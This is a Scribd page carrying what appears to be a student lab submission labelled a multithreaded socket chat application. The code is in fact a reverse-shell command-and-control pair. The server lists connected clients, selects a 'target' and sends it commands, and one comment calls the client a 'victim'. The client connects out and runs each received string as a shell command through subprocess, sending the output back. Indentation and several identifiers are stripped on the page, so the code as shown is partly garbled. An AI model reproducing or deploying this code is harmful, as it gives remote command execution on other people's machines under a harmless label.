0% found this document useful (0 votes)
44 views6 pages

Multithreaded Chat Application Code

The document outlines a multithreaded server-client chat application using sockets in Python. It includes code for creating a server that can handle multiple client connections, allowing users to send commands to connected clients. The server listens for connections, manages active clients, and facilitates command execution on the client side.

Uploaded by

manabpaul25
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
44 views6 pages

Multithreaded Chat Application Code

The document outlines a multithreaded server-client chat application using sockets in Python. It includes code for creating a server that can handle multiple client connections, allowing users to send commands to connected clients. The server listens for connections, manages active clients, and facilitates command execution on the client side.

Uploaded by

manabpaul25
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd

18CSC207J- Advance Programming Practice

Network Programming Paradigm WEEK-10

Name: Sarthak Gupta


Reg No: RA2111003010929
Date: 12/04/2023

Question-4:
Write a Socket based program server-client to simulate a simple chat applicattion
where the server is multithreaded which can serve multiple clients at the same
time.
Code:

import socket
import sys
import threading
import time
from queue import Queue

NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue()
all_connections = []
all_address = []

# Create a Socket ( connect two computers)


def create_socket():
try:
global host
global port
global s
host = "[Link]"
port = 9999
s = [Link]()

except [Link] as msg:


print("Socket creation error: " + str(msg))

# Binding the socket and listening for connections


def bind_socket():
try:
global host
global port
global s
print("Binding the Port: " + str(port))

[Link]((host, port))
[Link](5)

except [Link] as msg:


print("Socket Binding error" + str(msg) + "\n" + "Retrying...")
bind_socket()

# Handling connection from multiple clients and saving to a list


# Closing previous connections when [Link] file is restarted

def accepting_connections():
for c in all_connections:
[Link]()

del all_connections[:]
del all_address[:]

while True:
try:
conn, address = [Link]()
[Link](1) # prevents timeout

all_connections.append(conn)
all_address.append(address)

print("Connection has been established :" + address[0])

except:
print("Error accepting connections")
# 2nd thread functions - 1) See all the clients 2) Select a client 3)
Send commands to the connected client
# Interactive prompt for sending commands
# turtle> list
# 0 Friend-A Port
# 1 Friend-B Port
# 2 Friend-C Port
# turtle> select 1
# [Link]> dir

def start_turtle():

while True:
cmd = input('turtle> ')
if cmd == 'list':
list_connections()
elif 'select' in cmd:
conn = get_target(cmd)
if conn is not None:
send_target_commands(conn)

else:
print("Command not recognized")

# Display all current active connections with client

def list_connections():
results = ''

for i, conn in enumerate(all_connections):


try:
[Link]([Link](' '))
[Link](20480)
except:
del all_connections[i]
del all_address[i]
continue

results = str(i) + " " + str(all_address[i][0]) + " " +


str(all_address[i][1]) + "\n"

print("----Clients----" + "\n" + results)


# Selecting the target
def get_target(cmd):
try:
target = [Link]('select ', '') # target = id
target = int(target)
conn = all_connections[target]
print("You are now connected to :" + str(all_address[target][0]))
print(str(all_address[target][0]) + ">", end="")
return conn
# [Link]> dir

except:
print("Selection not valid")
return None

# Send commands to client/victim or a friend


def send_target_commands(conn):
while True:
try:
cmd = input()
if cmd == 'quit':
break
if len([Link](cmd)) > 0:
[Link]([Link](cmd))
client_response = str([Link](20480), "utf-8")
print(client_response, end="")
except:
print("Error sending commands")
break

# Create worker threads


def create_workers():
for _ in range(NUMBER_OF_THREADS):
t = [Link](target=work)
[Link] = True
[Link]()

# Do next job that is in the queue (handle connections, send commands)


def work():
while True:
x = [Link]()
if x == 1:
create_socket()
bind_socket()
accepting_connections()
if x == 2:
start_turtle()

queue.task_done()

def create_jobs():
for x in JOB_NUMBER:
[Link](x)

[Link]()

create_workers()
create_jobs()

import socket
import os
import subprocess

s = [Link]()
host = '[Link]'
port = 9999

[Link]((host, port))

while True:
data = [Link](1024)
if data[:2].decode("utf-8") == 'cd':
[Link](data[3:].decode("utf-8"))

if len(data) > 0:
cmd = [Link](data[:].decode("utf-8"),shell=True,
stdout=[Link], stdin=[Link], stderr=[Link])
output_byte = [Link]() + [Link]()
output_str = str(output_byte,"utf-8")
currentWD = [Link]() + "> "
[Link]([Link](output_str + currentWD))

print(output_str)
Output:

You might also like